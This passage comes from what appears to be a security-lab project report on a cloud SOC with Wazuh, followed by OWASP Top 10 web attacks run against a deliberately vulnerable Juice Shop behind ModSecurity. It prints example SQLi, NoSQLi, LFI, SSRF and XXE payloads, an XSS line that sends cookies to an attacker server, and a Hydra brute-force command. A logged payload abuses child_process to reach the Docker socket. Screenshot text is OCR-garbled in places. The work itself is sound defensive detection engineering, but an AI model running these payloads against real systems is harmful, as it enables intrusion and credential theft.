SourceMappings[].{Source:EventSourceArn,State:State,Batch:BatchSize}' --output json

[
{

"Source": "arn:aws:sqs:eu-north-1:819404925444:Scenario3-ReportQueue”,
"State": "Enabled",
"Batch": 1

Figure 29. The SQS event-source mapping that triggers AuditWorker from the Scenario3-
ReportQueue.

3.7 Management and operations — AWS Systems Manager (SSM)

AWS Systems Manager manages instances without opening SSH. Session Manager gives a
browser/CLI shell with no inbound ports and full audit logging, Run Command executes
scripts fleet-wide, and port forwarding tunnels a remote port to the operator. Needing no
open port makes it the recommended access method — and, as Chapter 5 shows, a lateral-
movement path for an attacker with the right permissions.

The EC2 instances run the SSM Agent and are reached through Session Manager rather
than exposed SSH; this is also how the internal finance host is administered, and the path
Scenario 3 abuses to move laterally into the internal subnet.
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3.8 Logging and telemetry
3.8.1 AWS CloudTrail

For any of this to be seen, the account must record what happens — and in the cloud that
record is AWS CloudTrail, the identity activity log Chapter 2 flagged as the primary source
for cloud detection. It captures management events (control-plane calls such as AssumeRole,
CreatePolicyVersion, GetSecretValue) and, when enabled, data events (S3 GetObject,
DynamoDB access); each entry records who, what, when, from where, and the request
parameters. One subtlety recurs across the scenarios: global-service events (IAM, STS's
legacy endpoint) are always written to us-east-1, regardless of the account's Region.

An account trail captures management events to the CloudTrail S3 bucket. Because of the
global-service subtlety, the Wazuh reader is configured to cover both eu-north-1 and us-
east-1 — a point returned to in §3.9 and Chapter 5, where missing us-east-1 silently hid the
entire IAM side of a scenario.

® aymane ~ </> js v22.20.0 © 15:53 A 2s5123ms

> aws cloudtrail describe-trails --query 'traillist[].{Name:Name,Bucket:S3BucketName,
MultiRegion:IsMultiRegionTrail}' --output table

Figure 30. The account CloudTrail trail delivering management events to S3.

3.8.2 Amazon CloudWatch Logs

Amazon CloudWatch Logs centralises application and service logs into log groups (per
source) and log streams (per instance of that source). Every Lambda function automatically
writes whatever it prints to stdout/stderr into a log group named /aws/lambda/<function>
— for serverless apps, this is the application-telemetry channel, since there is no host to log
into.

The two functions log to /aws/lambda/ReportApi and /aws/lambda/AuditWorker, emitting
structured JSON security events tagged "integration":"scenario3_serverless". This is the
only CloudWatch-Logs source Wazuh ingests, and it is the sole place the Scenario 4

confused-deputy decision is visible (Chapter 5).

® aymane -~ </> js v22.20.0 © 15:55 A 5s5135ms

> aws logs describe-log-groups --log-group-name-prefix /aws/lambda --query
'logGroups[].logGroupName' --output table

Figure 31. The Lambda CloudWatch log groups (/aws/lambda/ReportApi and
/aws/lambda/AuditWorker).
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3.9 The SOC platform — Wazuh and the analyst toolchain
3.9.1 Theory

With the target environment built, the last piece is the platform that watches it. Wazuh is
an open-source SIEM/XDR with three server components plus agents — the manager
(decodes events, runs rules, pulls cloud logs via its modules/wodles), the indexer (an
OpenSearch store), the dashboard (the Ul), and agents on the monitored hosts. Events flow:

source = agent/wodle = manager decodes — manager rules = alert = indexer =
dashboard.

3.9.2 Deployment

Wazuh runs on the SOC EC2 using the official Docker single-node stack, manager, indexer,
and dashboard as containers (the manager container is single-node-wazuh.manager-1). The
same host also runs the Shuffle (SOAR/orchestration), Cortex (enrichment) and DFIR-IRIS
(case management) toolchain that Chapter 6 build on, and it is reachable by the analyst and
by the local LLM (LM Studio) used for Al-augmented triage over the Tailscale VPN.

C ©Not secure

= W Discover New Save Open Share Reporting Inspect |(a ' @
wazuh-alerts-* v c [ Search paL B~ Jul1,2026 @ 12:18:39.468 > now C Refresh
Q  Search field names Y Filter by type 0 VY @ Add filter
10,982 hits I
~ Selected fields N
Jul1,2026 @ 12:18:39.468 - Aug 22, 2026 @ 12:21:16.437 per  Auto v
@ _source
~ Avallable flelds -
o _index E oo
t agenti
genile o | —___—_—___I mE___ |
© agentname 20250712 202607 2025072
t | data.action timestamp per day
t | data.aws.accountld Tine -souree
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t data.aws.awsRegion
rule. groups: | ossec, rootcheck 'rule.id: 510 |rule.gdpr: Iv_35.7.d |location: rootcheck  decoder.name: rootcheck 'id: 1787360886.7806 full log: Trojaned version of file
) data.awserrorCode /usr/bin/mdSsun’ detected. Signature used: 'bash|*/bin/sh|file\.h|proc\.h|/dev/[*cfhlnrstuw]|*/bin/.*sh' (Generic). timestamp: Aug 22, 2026 © ©2:08:06.149 _index: waz
+ data.aws.erorMessage uh-alerts-4.x-2626.08.22
 data.aws.eventCategory > Aug 22, 2026 @ 02:08:05.824 jnur type: log agent.ip: 10.0.1.28 agent.name: ip-10-8-1-28 agent.id: 801 manager.name: wazuh.manager data.file: /bin/mdSsun data.title: Trojaned version of file
p o detected. |rule.firedtimes: 19 rule.mail:|false rule.level: 7 |rule.pci_dss: 10.6.1  rule.description: Host-based anomaly detection event (rootcheck). 'rule.groups: os
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sec, rootcheck 'rule.id: 510  rule.gdpr: IV_35.7.d location: rootcheck 'decoder.name: rootcheck id: 1787360885.7468 full_log: Trojaned version of file */bin/mdssum’ d
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 data.aws.eventTime > AuUQ 22, 2026 @ 62:08:04.850 jnut type: log agent.ip: 10.0.1.28 agent.name: ip-10-8-1-28 agent.id: 801 manager.name: wazuh.manager data.file: /usr/bin/date data.title: Trojaned version of fi
S - le detected. rule.firedtimes: 18 rule.mail: false rule.level: 7 rule.pci_dss: 10.6.1 rule.description: Host-based anomaly detection event (rootcheck)
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Figure 32.

etected. rule. firedtines: 17 [rule.mail: false |rule.level: 7 rule.pei_dss: 10.6.1 rule.description: Host-based anomaly detection event (rootcheck). rule.groups: oss
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The Wazuh dashboard on the SOC host, showing ingested security alerts.

29 | 99



Chapter 4 : Web Application Security

Web application security encompasses the protection of web applications from

vulnerabilities, threats, and attacks that can compromise their integrity, confidentiality, and
availability. It involves implementing security measures and best practices to ensure the

safety of the application itself, the data it handles, and the users who interact with it.

Web applications are dynamic and interactive platforms that facilitate various functions like
online forms, user registrations, e-commerce transactions, and data processing. However,

they can also be susceptible to security risks if not appropriately safeguarded.

4.1 Owasp Top 10:

The OWASP Top 10 is a reference document published by the Open Web Application

Security Project (OWASP) that lists the most critical security risks affecting web

applications. It is widely used by developers and security professionals as a baseline for

secure application design and testing.
The Top 10 (2025 edition) is summarised below.

Risk What it is (and typical causes)

AO1 - Broken Access Control Authorization is not enforced, so users reach data or

actions beyond their permissions — IDOR,

URL/parameter tampering, missing APl access checks,

privilege escalation, JWT/CORS misconfiguration.

AO2 - Security Insecure defaults or incomplete hardening — default
Misconfiguration credentials, verbose error messages, missing security

headers, unnecessary features left enabled.

AO3 - Software Supply Chain  Risk from third-party components and the CI/CD

Failures pipeline — outdated or untracked dependencies, no
vulnerability scanning, untrusted components, weak

build security.

AO4 - Cryptographic Failures Sensitive data not properly protected in transit or at
rest — weak or missing encryption, plaintext secrets,

non-compliance with GDPR/PCI DSS.

AO5 - Injection Untrusted input executed by an interpreter — SQL,
NoSQL, OS-command, LDAP or ORM injection from

unsanitized input and unparameterized queries.

AO06 - Insecure Design Security controls missing or ineffective at the design
stage — inadequate requirements, risk profiling, and a

secure development lifecycle.

AO7 - Authentication Weaknesses that let attackers impersonate users —
Failures credential stuffing and brute force, weak or default
passwords, poor recovery, no MFA, insecure sessions.

AO08 - Software or Data Integrity of updates, CI/CD artifacts or serialized data
Integrity Failures not verified — untrusted libraries/CDNs, unverified
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auto-updates, insecure deserialization.

AQ09 - Security Logging & Insufficient logging and monitoring delays detection —
Alerting Failures missing logs of critical events, unprotected log integrity,
no alerting thresholds.

A10 - Mishandling of Errors, crashes and invalid states not handled safely —
Exceptional Conditions poor input validation and inconsistent exception
handling leading to exploitable failure states.

4.2 Common Web Attack Techniques :

To exercise the detections built later in this chapter, seven web-attack techniques were run
against the controlled Juice Shop target. Each is summarised below with its OWASP
mapping and a representative payload; the live attacks are walked through in §4.4.

Attack technique OWASP mapping
SQL Injection AO5 - Injection
NoSQL Injection AO5 - Injection
Local File Inclusion (LFI) AO05 - Injection / AO1 - Broken Access
Control

SSRF AO1 - Broken Access Control
Cross-Site Scripting (XSS) AO05 - Injection
XXE AO5 - Injection

Brute force (login page) AQ7 - Authentication Failures

4.2.1 SQL Injection (SQLI)
SQL Injection

Http://teachers.com? SELECT * FROM teachers
teacherld=117 or 1=1;-- WHERE teacherld=117 or 1=1;

Attacker Web API Server
Data for all teachers Return data for
is returned to the attacker all teachers

Figure 33. SQL Injection (SQLi)
Maps to AO5 - Injection

SQL injection inserts attacker-controlled input into a SQL query without validation or
parameterisation, so the input is executed as query logic — enabling authentication bypass,
data disclosure or modification, and sometimes code execution.
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Example payload: a classic authentication bypass uses input such as' OR '1'='1"' -- in a
username field, which alters the query's WHERE clause to always evaluate as true.

4.2.2 NoSQL Injection

NoSQL INJECTION

Query Object

User Input

safe
. { username: Access
- =7 y passuord: Granted

unsafe

{ username: {$ne:
null }

} password: {$ne:

Figure 34. NoSQL Injection
Maps to AO5 - Injection

NoSQL injection targets document databases (e.g. MongoDB) that build queries from
structured objects: where the app expects a string, the attacker submits an operator object
(such as {"$ne": null}) that always matches — bypassing authentication or retrieving
unauthorised data.

4.2.3 Local File Inclusion (LFI)

LOCAL FILE INCLUSION (LFI)

USER WEB APPLICATION SERVER FILES

LY

Q—b@—b_:

[ |

e

[ fFiles..t...dod..letcipasswd ]

ATTACKER ATTACKER

Figure 35. Local File Inclusion (LFI)
Maps to AO5 - Injection / AO1 - Broken Access Control
LFI occurs when an application reads a file from a user-supplied path without validation,
letting an attacker traverse the filesystem (e.g. ?page=../../../../etc/passwd) to read source,

config, or credentials — and, through tricks such as log poisoning, sometimes reach remote
code execution.
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4.2.4 Server-Side Request Forgery (SSRF)

Server processes SSRF request,
triggers malicious request

0 HTTP request with SSRF to the internal network
Q o o - E : -
Attacker Web application - v
@ s v. § Internal

o Returns sensitive user data network

Figure 36. Server-Side Request Forgery (SSRF)

Maps to AO1 - Broken Access Control

SSRF occurs when an application fetches a remote resource on the user's behalf and the
attacker controls the target URL, turning the server into a proxy into internal networks. In
the cloud the prize is the instance metadata service at http:/169.254.169.254/, which can
return the instance's temporary credentials — enabling internal recon, access to internal
services, and cloud credential theft.

4.2.5 Cross-Site Scripting (XSS)

Cross Site Scripting(XSS)

POST / comment.php?

INSERT ... text=<script>alert(1)</script>
'<script>alert(1)</script>'
« ®
-

Se rver = == + .°
v Client 1
-
7 <html>
A
PR Comments )
’1 <script>alert(1)</script>
P .

<html> O
DB SELECT ... =>
'<script>alert(1)</script>' ‘
Client 2

Figure 37. Cross-Site Scripting (XSS)
Maps to AO5 - Injection

XSS occurs when an application reflects untrusted input into a page without encoding, so
the attacker's JavaScript runs in victims' browsers — enabling session hijacking, credential
theft, and defacement. It appears as reflected (payload in the request), stored (saved server-
side and served to all viewers), or DOM-based (entirely client-side) variants.

Example payload: <script>document.location="http:/attacker-server/steal?
c='+document.cookie</script> sends the victim's session cookie to a server controlled by

the attacker.
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4.2.6 XML External Entity (XXE)

1. Attacker sends an external entity "xxe" that points to a

<IDOCTYPE foo [ .

<IELEMENT foo ANY> local file "/etc/passwd" on the server.
<IENTITY xxe SYSTEM "file:///etc/passwd">

b

<foo-[EERR/ foo>

/etc/passwd

/etc/passwd < 2.The XML parser parses the "xxe" entity reference,
and it retrieves /etc/passwd file

3. Attacker receives the sensitive data stored in the
file, such as usernames and passwords

Figure 38. XML External Entity (XXE)
Maps to AO5 - Injection

XXE occurs when an XML parser is configured to resolve external entities: the attacker
declares an entity pointing at a local file or internal URL and the parser inlines its contents
— disclosing local files, enabling SSRF, or causing denial of service.

Example payload:
<IDOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

<foo>&xxe;</foo>

4.2.7 Brute Force Attack
Brute Force Attacks Explained

In a brute force attack, a cybercriminal uses trial and error
to try and break into a device, network, or website.

m e -]
‘ o EXETTI x ()
EXTTTI [ v+
T
[ ]
—_—

A—

An attacker The hacking The system
utilizes a tool attempts returns a valid or
hacking tool. multiple logins. invalid response.

Figure 39. Brute Force Attack
Maps to AO7 - Authentication Failures

A brute-force attack submits large numbers of credential combinations against a login
endpoint until one works. It succeeds when defences such as account lockout, rate limiting,
CAPTCHA, or MFA are absent, leading to account takeover — full compromise if an admin
account falls. Tools such as Hydra or Burp Intruder automate it.
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4.3 Scenario 1 — The Target Environment

Sections 4.1 and 4.2 described web risks in the abstract. To make them concrete — and,
more importantly, to give our detection engineering something real to catch — we stood up
a deliberately vulnerable web application and attacked it with the exact techniques
catalogued above. This is Scenario 1 of the project.

Home = Techniques = Enterprise > Exploit Public-Facing Application

Exploit Public-Facing Application
Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system

can be a software bug, a temporary glitch, or a misconfiguration.

Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH),
network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open
sockets."'EIEIHIE o ESX infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware

vCenter servers. Il Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution.

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying

instance or container. This can allow an adversary a path to access the cloud or container APlIs (e.g., via the Cloud Instance Metadata API),

exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.

Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust

host-based defenses. Il

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.[1211]

Figure 40. Mitre ATT&CK T1190 : Exploit Public-Facing Application (Initial Access)

Why this technique (T1190) frames the whole project :

Every web attack in Scenario 1 — SQL injection, NoSQL injection, XSS, SSRF, LFl and XXE —
is an instance of MITRE ATT&CK T1190, Exploit Public-Facing Application: the initial
access is a flaw in an internet-facing application. What makes T1190 the backbone of this
project is the part highlighted above. MITRE itself notes that when the exploited app is
cloud-hosted or containerized, the compromise does not stop at the web tier — it opens
three specific paths: (1) reaching the cloud or container APIs via the Cloud Instance
Metadata API, (2) Escape to Host from a container, and (3) abusing weak identity and
access-management policies.

Those three sentences are, in order, exactly what Scenarios 2, 3 and 4 do. So the red-team
half of this project is built on ATT&CK as a genuine backbone, not merely labelled with it:
Scenario 1 is the T1190 doorway, and each later scenario walks one of the escalation paths
T1190 predicts. To make that explicit, every scenario opens with the primary ATT&CK
technique it exercises. This is why the four scenarios chain together so naturally — the
framework itself lays out the route from a single web bug to full cloud compromise.

4.3.1 The application: OWASP Juice Shop

We used OWASP Juice Shop, the reference insecure web application maintained by the
OWASP Foundation. It is a modern single-page application (Angular front end,
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Node.js/Express REST back end, SQLite/MongoDB-style data layer) that intentionally ships
with a broad catalogue of vulnerabilities mapped to the OWASP Top 10.

nede - II
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7, . .
0(33 1 _sger_Aﬂ_ . . —

@ socketio
Browser 3 A
Material Sequelize IS saL
[

finale-rest p—
DynamicAPI

Server File System

Figure 41. OWASP Juice Shop - Application Architecture
We chose it because:

Every technique from 4.2 has at least one matching, reproducible vulnerability.

It behaves like a real modern app (JWT auth, REST/JSON APIs), so the telemetry we
generate — and therefore the detection rules we write — transfers to real targets.

= C @ O @ Not Secure 100.85.61.41 %

8 Import bookmarks OffSec  Kalilinux @ KaliTools  KaliDocs N{KaliForums  KaliNetHunter  Exploit-DB % Google Hacking DB
¢Wuppulyzer

x
J§ OWASP Juice Shop
- TECHNOLOGIES

JavaSeript frameworks Programming languages

All Products

@ Angular 21277 @ Nodejs

@ Zonejs BB TypeScript

Font scripts Operating systems

[3 Font Awesome @ Ubuntu

*B Google Font API

Reverse proxies

Web servers Q Noinx 1283

© Nginx 1283

Apple Juice (1000ml) Apple Pomace Banana Juice (1000ml)
1.99x 0.89= 1.99n

¥  Add to Basket ¥ Add to Basket ¥ Add to Basket Add to Basket

| il

Figure 42. Juice Shop landing page

4.3.2 Deployment: EC2 + Docker + Nginx + ModSecurity

The target does not sit alone — the whole point of Scenario 1 is a realistic, internet-facing
deployment with a security control in front of it. Everything runs on a single Amazon EC2
instance, in three layers:

Layer 1 — the application, in Docker. Juice Shop runs as the official bkimminich/juice-shop
container, deliberately bound to localhost only so it can be reached exclusively through the
firewall:
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docker run -d \
--name juice-shop \
--restart unless-stopped \
-p 127.0.0.1:3000:3000 \
-e NODE_CONFIG='{"challenges":{"safetyMode":"disabled"}}' \
bkimminich/juice-shop

Binding to 127.0.0.1:3000 (not 0.0.0.0) means no request can bypass the proxy and hit the
app directly. safetyMode: disabled enables the challenges Juice Shop normally suppresses
under Docker (needed for some of the harder cases such as the CSP-bypass XSS).

Layer 2 — Nginx as a reverse proxy :

Nginx (v1.28) listens on port 80 and forwards traffic to the container, preserving the real client
IP so the WAF and the logs see the attacker's address rather than 127.0.0.1:

GNU nano 8.7.1
server {

listen 80 default_server;
listen [::]:80 default_server;

/etc/nginx/sites-enabled/default

error_log /var/log/nginx/error.log warn;

modsecurity on;
modsecurity rules file /etc/modsecurity/modsecurity.conf;

location / {
proxy_pass

proxy_set header Host $host;
proxy_set_header X-Real-IP $remote_addr;

proxy http version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy buffering off;

Figure 43. Nginx as a reverse proxy

Layer 3 — ModSecurity, embedded in Nginx :

The web application firewall is ModSecurity v3.0.14, plugged into Nginx through the
ModSecurity-nginx connector v1.0.3, running the OWASP Core Rule Set (CRS) 4.29 at
paranoia level 1.

The OWASP CRS is a set of generic attack detection rules for use with ModSecurity or
compatible web application firewalls. It aims to protect web applications from a wide range
of attacks, including the OWASP Top Ten, with a minimum of false alerts. CRS provides
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protection against many common attack categories, including SQL Injection, Cross Site
Scripting, Local File Inclusion, etc.

OWARASP

CRS

THE 1°" LINE OF DEFENSE

Figure 44. OWASP Core Rule Set (CRS)

Two configuration choices define how Scenario 1 behaves:

ubuntu@ip-10-0-1-28:-$% cat /etc/modsecurity//modsecurity.conf
# -- Rule engine initialization

# Enable ModSecurity, attaching it to every transaction. Use detection

# only to start with, because that minimises the chances of post-installation
# disruption.

#

SecRuleEngine DetectionOnly

# -- Request body handling

# Allow ModSecurity to access request bodies. If you don't, ModSecurity
# won't be able to see any POST parameters, which opens a large security

# hole for attackers to exploit.
#
SecRequestBodyAccess On

# Enable XML request body parser.
# Initiate XML Processor in case of xml content-type
#
SecRule REQUEST_HEADERS:Content-Type "~(?:application(?:/soap\+|/)|text/)xml" \
"id: '200000',phase:1, t:none, t: lowercase, pass,nolog, ctl: requestBodyProcessor=XML"

# Enable JSON request body parser.

# Initiate JSON Processor in case of JSON content-type; change accordingly
# if your application does not use 'application/json’

#

Figure 45. ModSecurity Configuration

SecRuleEngine DetectionOnly :The WAF logs attacks but does not block them. This
is deliberate: in detection-only mode XSS actually executes, so we can demonstrate
both a successful attack and its detection. (Flipping to SecRuleEngine On would turn
the same rules into active blocking — noted as the production posture.)

JSON audit logging : ModSecurity writes a structured JSON audit record for each
relevant transaction to /var/log/modsec_audit.log, rather than free-text. Structured
logging is what makes reliable, field-level detection possible downstream.
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ubuntu@ip-10-0-1-28:-$ tail -n 5 /var/log/modsec_audit.log

{"transaction":{"client_ip":"100.92.188.8","time_stamp":"Tue Aug 18 09:20:27 2026","server_id":"8la65ac2565b698d8fc8dae)
42d14c0le7el57481","client_port":38720, "host_ip":"100.85.61.41", "host_port":80,"unique_id":"178704482714.188633", "reque
st":{"method":"POST","http_version":1.1,"uri":"/profile", "body": "username=%23%7Bglobal.process.mainModule. require%28%27|
child_process%27%29.execFileSync%28%27%2Fnode]s%2Fbin%2Fnode%27%2C%5B%27 -€%27%2C%22cons t+h%3Drequire%28%27http%27%29%3B
const+q%3Dh. request%28%7BsocketPath%3A%27%2Fvars2Frun%2Fdocker. sock%27%2Cpath%3A%27%2F containers%2Fpp%2Fstart%27%2Cmeth
0d%3A%27P0ST%27%7D%2Cr%3D%3E%7Bprocess . stdout.write%28String%28r.statusCode%29%29%3Br . resume%28%29%7D%29%3Bq . end%28%29%
22%5D%29. toString%28%29%7D", "headers": {"Accept-Encoding": "identity", "Content-Length":"437","Host":"100.85.61.41","Authol
rization":"Bearer eyJ0eXAi0iJKV1QiLCJIhbGci0ilSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoyNCwidXNLlcm5hbWUi0iIje2dsb2IhbC5wem9jZXNzLm1h)
aW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHIvY2VzcycpLmV4ZWNGaWxLU3LuYygnL25vZGVqcy9iaWadvbmOkZScsWyctZScsXCIyZXFlaXIlKCdodHRwIy
uZ2VOKHtzb2NrZXRQYXRo0icvdmFyL3J1bi9kb2NrZXIuc29jaycscGFoaDonL2NvbnRhaW5lenMvaWlkey12MiljemVkeylwem9vZi9sh2dzP3N6ZG91dD)
0xJInNOZGVycjoxI30scjo-ci5SwaXBLKHByb2N1c3Muc3Rkb3VOKS1cI10pLnRvU3RyaW5nKCdiYXNINGQnKX0iLCI1bWFpbCI6InNVYXItczMtdGVzdEBO!
XNOLmxvY2FsIiwicGFzc3dvemQi0OiI2YmQxZTQOOTBjMWISYTRmYjUIMTIMOTIAZ jYXMTMYMiIsInIvbGUi0iljdXNOb211ciIsImR1bHV4ZVRva2Vuljoi
IiwibGFzdEXvZ21uSXAi0iIwLjAuUMCAwWIiwicHIVZmlsZULtYWdlIjoiL2Fzc2Vecy9wdWlsaWMvaWlhzZ2VzL3VwbGIhZHMvZGVmYXVsdC5zdmecil CI0b3R
WU2Vj cmVOIjoiliwiaXNBY3RpdmUionRydWUs ImNyZWFOZWRBACI6IjIwM]YtMDgtMTggMDg6NTI6NDGUMTcOICSWMDoWMCISINVWZGFOZWRBACI6IjIwM]
YtMDgtMTggMDgENTQENDAUM] cyICswMDowMCISImR1bGVOZWRBACI6bnVsbHOsImIpZCI6NiwiaWFOIjoxNzg3MDQONZM5TQ . ZAeyrwbKhnlb30-mZ4cul]j
3C6j Guk6XiyhuLS1100aApB2UA4wgy5vv THWUIU-cLCIoXINcw-qZPwMkfU99ifqYkzkIDov4EFFKkuY5HMS3buCI8UBWamTCRS j9XCWDCTGXYaYEYX_ZWn7|
j3VzrFspogC2bpx3wH_59QlaiC223u", "User-Agent": "Python-urllib/3.12","Cookie" : "token=eyJ0eXAi0iJKV1QiLCIhbGci0iISUZIINiI9.
eyJKYXRhIjp7ImlkIjoyNCwidXNlcm5hbWUi01iIje2dsb2IhbC5wem9jZXNzLmlhaWSNb2R1bGUucmVxdWlyZSgnY2hpbGRfcHIvY2VzcycpLmV4ZWNGalx|
1U3luYygnL25vZGVqcy9iaWdvbmIkZScsWyctZScsXCIyZXFlaXJ1KCdodHRwIykuZ2VOKHtzb2NrZXRQYXRo0icvdmFyL3J1bi9kb2NrzXIuc29jaycsch)
FoaDonL2NvbnRhaW51cnMvaWlkcyl2MiljcmVkcylwem9vZi9sh2dzP3NOZG91dDOxInNOZGVycjOxI308scj0 - ci5waXBLKHByb2N1c3Muc3Rkh3VeEKSc]l
10pLnRvU3RyaW5nKCdiYXNLNjQnKX0iLCILbWFpbCI6InNVYXItczMtdGVzdEBOZXNOLMXxVY2FsIiwicGFzc3dvemQi0iI2YmQxZTQAOTBjMWISYTRmYjul
MTImOTI4ZjYXxMTMyMiIsInJvbGUi0iljdXN@b21lciIsImRLbHV4ZVRva2VuIljoiliwibGFzdExvZ21uSXAi0iIwLjAuMC4wIiwicHIvZmlsZULtYWd1Ijol
iL2Fzc2V0cyIwdwlsaWMvaWlhZ2VzL3VwhGIhZHMvZGYmYXVsdC5zdmeil CI0b3RwU2V]cmVOI joiliwiaXNBY3RpdmUiOnRydwWUsImNyZWFOZWRBACIG6I j

Figure 46. ModSecurity Log file : /var/log/modsec_audit.log

4.3.3 The detection path: audit log = Wazuh

CRS matches produce the telemetry; Wazuh turns it into detections. A Wazuh agent on the
EC2 host tails the ModSecurity JSON audit log and ships it to the Wazuh manager, which
decodes it and evaluates our rules. The agent reads the file as JSON:

<localfile>
<log_format>json</log_format>
<location>/var/log/modsec_audit.log</location>
</localfile>

That completes the loop this chapter cares about:

NGiMX
Nginx Reverse
preeiee Proxy Pore 3000
. OWASP Juice
modsecurity Shop
Open Sourcs Wi Applcation rwall
Attacker ModSecurity

WAF

/var/log/modsec_audit.log

Decode ——> Rule ——> Alert

(modsecurity_decoder)

wazuh.

Wazuh Manager

Wazuh Agent

Figure 47. Scenario 1 - Architecture

4.3.4 The attacks at a glance

Seven techniques from 4.2 were executed against Juice Shop. Each maps to a specific
vulnerable endpoint and to one or more OWASP Top 10 categories.
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# Technique Endpoint used OWASP mapping

1 Brute force POST /rest/user/login  AO7 - Authentication
Failures
2 SQL injection (login bypass) POST /rest/user/login AO5 - Injection
3 SQL injection (schema GET AO5 - Injection
dump) /rest/products/search
4 NoSQL injection PATCH AO5 - Injection
/rest/products/reviews
5 Local File Inclusion POST /dataerasure AO5 / AO1
6 Server-Side Request POST AO1 - Broken Access
Forgery /profile/image/url Control
7 Cross-Site Scripting POST /profile AO5 - Injection
8 XML External Entity POST /file-upload AO5 - Injection

4.4 Attack Walkthrough

Each attack corresponds to a specific OWASP Juice Shop challenge. The requests were
crafted and modified with Burp Suite (intercept the real browser request, tamper with the
vulnerable field, forward it), and the brute-force attack used Hydra. For each we give the
challenge, the steps, the exact payload, and the proof of success. (The same requests are
replayed by scenariol_attack_runner.py for detection testing.)

4.4.1 Brute force — repeated failed logins

Challenge / goal: demonstrate that the login endpoint has no lockout or rate limiting, so
credentials can be attacked at volume.

Steps :

Point Hydra at POST /rest/user/login with a JSON body, a password list, and the
application's failure string (Invalid email or password) as the negative condition so Hydra
knows which attempts failed:

-[/tmp
\
yruteforce-labgexample.invali
/tmp/juice-passwords.txt \
1 \
w2\

\

N

80 \
100.85.61.41 \
http-post-form \

rest/user/login: ail : J

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (t
his is non-binding, these ***x ignore laws and ethics anyway).

Figure 48. Brute-force attack using Hydra

hydra \
-| 'bruteforce-lab@example.invalid' \
-P /tmp/juice-passwords.txt \
-t1-W2-f-V-s80\
100.85.61.41 \
http-post-form \
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'/rest/user/login:{"email"\:""USER"""password"\:"*PASS*"}:H=Content-Type\:
application/json:H=Accept\: application/json:F=Invalid email or password'

Proof: a rapid stream of failed logins, each returning 401 Unauthorized — the signature of
an unthrottled credential attack.

{" transact:Lon {"cliEnt_ip '100.92.188.8' ime_: "Wed Aug 5 14:39:54 2026","server_id 81a65ac2565b698d8fc8da942d14c01e7e157481" "client_port":3667
,"host_port":80, i id": . request"'{"metho :"POST", "http_ versmn :1.0,' : /rest/user/logm" "body":"{
Te.invalid\",\"password\":\"WrongPass } H Accept":"application/json", "Hos
Moz:.lla/s [¢] (Hydra) ontent-Length" X { g":"W/\" ARJVVK+smzAF3QQve2mDSG+3E
‘payment 'self'","Date":"Wed, 05 Aug 2026 14:39:54 GMT iti j Access-Control-Allow-Origin":"*","X-Frame-Options":
"SAMEORIGIN","Connection":"close","X- Cuntent Type Optlons "nosniff","Content-Type" tf-8","Content-Length":"26","Serve nginx/1.28.
,"Vary": Accept Encoding”}}, "producer” - ModSecurrty v3.0.14 (Linux)", :"ModSecurity-nginx v1.6.3","secrules_engine":
,"components"
i ) ed Aug 5 14:39:56 2026" i 81a65ac2565b698d8fc8dad42d14c0le7el57481", "client_port":4426
ost_port":80,"unique_i 178594079657 .219388 request"-{"me‘thod' 0ST", "http_version":1.0,"uri":"/rest/user/login", "body'
ruteforce lab@example.invalid\",\"password\":\"WrongPasswordl "headers":{"Content-Type": i i ] "Accept":"application/json",
:"Mozilla/5.0 (Hydra)","Content-Length": ode":401, "headers": {"ETag":
i Access-Control-Allow-
close","X- cgntent -Type- Optmn i Content-Length
Accept Encoding”}}," "ModSecurity v3.0.14 (Linux)" ":"ModSecurity-nginx v1.0.3 “secrules_engine'

ccept":"application/json",
W/\"la- ARJVVK*smzAF300ve2mDSG&3E
"Date":"Wed, 95 Aug 2026 14:39:58 GM iti "X-Frame-Options":
"X- Cuntent Type -0, s":"nosniff","Content-Type" “Content-Length
ccept-Encoding"}),”producer" {"modsecurit: odSecurlty v3.0.14 (Linux)","connector" odSecurrty nglnx v1.0.3 ,“secru'les _engin
WASP_CRS/4.29.0-dev\""]},"messages":[]}}
{"client_ip":"100.92.188.8", "time_stam| "Wed Aug 5 14:40:00 2026","server_id":"8la65ac2565b698d8fc8dab42d14c0le7e157481", "client_port":5555
ost_port":80,"unique_id":"178594080074.106763", ”request"-("me‘thod' :"POST","http_version":1.0,"uri": S
le.invalid\",\"pass 5 Content-Type":"application/jsol
Mozilla/5.0 (Hydra) i3s p ttp_code":401, "headers":{"ETag
us\"","Feature-Policy":"payment 'self'","Date":"Wed, 05 Aug 2026 14:40:01 GMT","X-Recruiting":"/#/jobs","Access-Control-Allow-Origin"
"SAMEORIGIN", " Connectiol close","X-Content-Type- Optmns "nosniff","Content-Type" ext/html; charset=utf-8","Content-Length":"26","
,"Vary":"Accept-Encoding”}}," producer :"ModSecurity v3.0.14 (Linux)","connector":"ModSecurity-nginx v1.0 “secrules_engine":
,"components": ["OWASP_CRS/4.29.0-dev\"

Figure 49. Modesecurity failed login logs from /var/log/modsec_audit.log

4.4.2 SQL injection — Challenge 1 "Login Admin" & Challenge 2 "Database
Schema"

Challenge 1 — Login Admin (authentication bypass).

SeomPo @0

© & OWASP Juice Shop
£ C @ O @ NotSecure 100,

-8 Import bookmarks. KaliLinux @ KaliTools  KaliDocs M KaliForums  KaliNetHunter = Exploit-DB  Google Hacking DB.

.i OWASP Juice Shop Q @ Account ¥ YourBasket © @EN

Login

Email*

[0 Remember me

Figure 50. Login Page on Owasp Juice Shop

In Burp, intercept the login request and replace the email field with a tautology, so the
injected -- comments out the password check and the query matches the first user (the
administrator):
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POST /rest/user/login
